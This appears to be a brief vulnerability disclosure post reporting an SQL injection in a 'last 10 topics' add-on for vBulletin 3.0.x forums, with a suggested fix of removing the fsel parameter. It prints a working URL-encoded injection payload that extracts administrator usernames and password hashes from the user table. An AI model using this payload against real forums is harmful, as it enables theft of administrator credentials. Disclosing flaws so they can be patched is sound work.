SQL injection in vBulletin forums (last10.php)

["Dr. Death" <drdeath4ever@xxxxxxxxxxx>]

hi all,

a new SQL injection found in VBulletin Forums 3.0.x

the Vulnerabilite found in last.php, last 10 topics hack.


last.php?fsel=,user.password%20as%20title,user.%20 
%20%20%20username%20as%20lastposter%20FROM%20user, 
thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT %201

to solve the problem delet fsel? from ttlast.php and last10.php

Best Regards,
Dr.Death
THE MAN OF THE DARK SIDE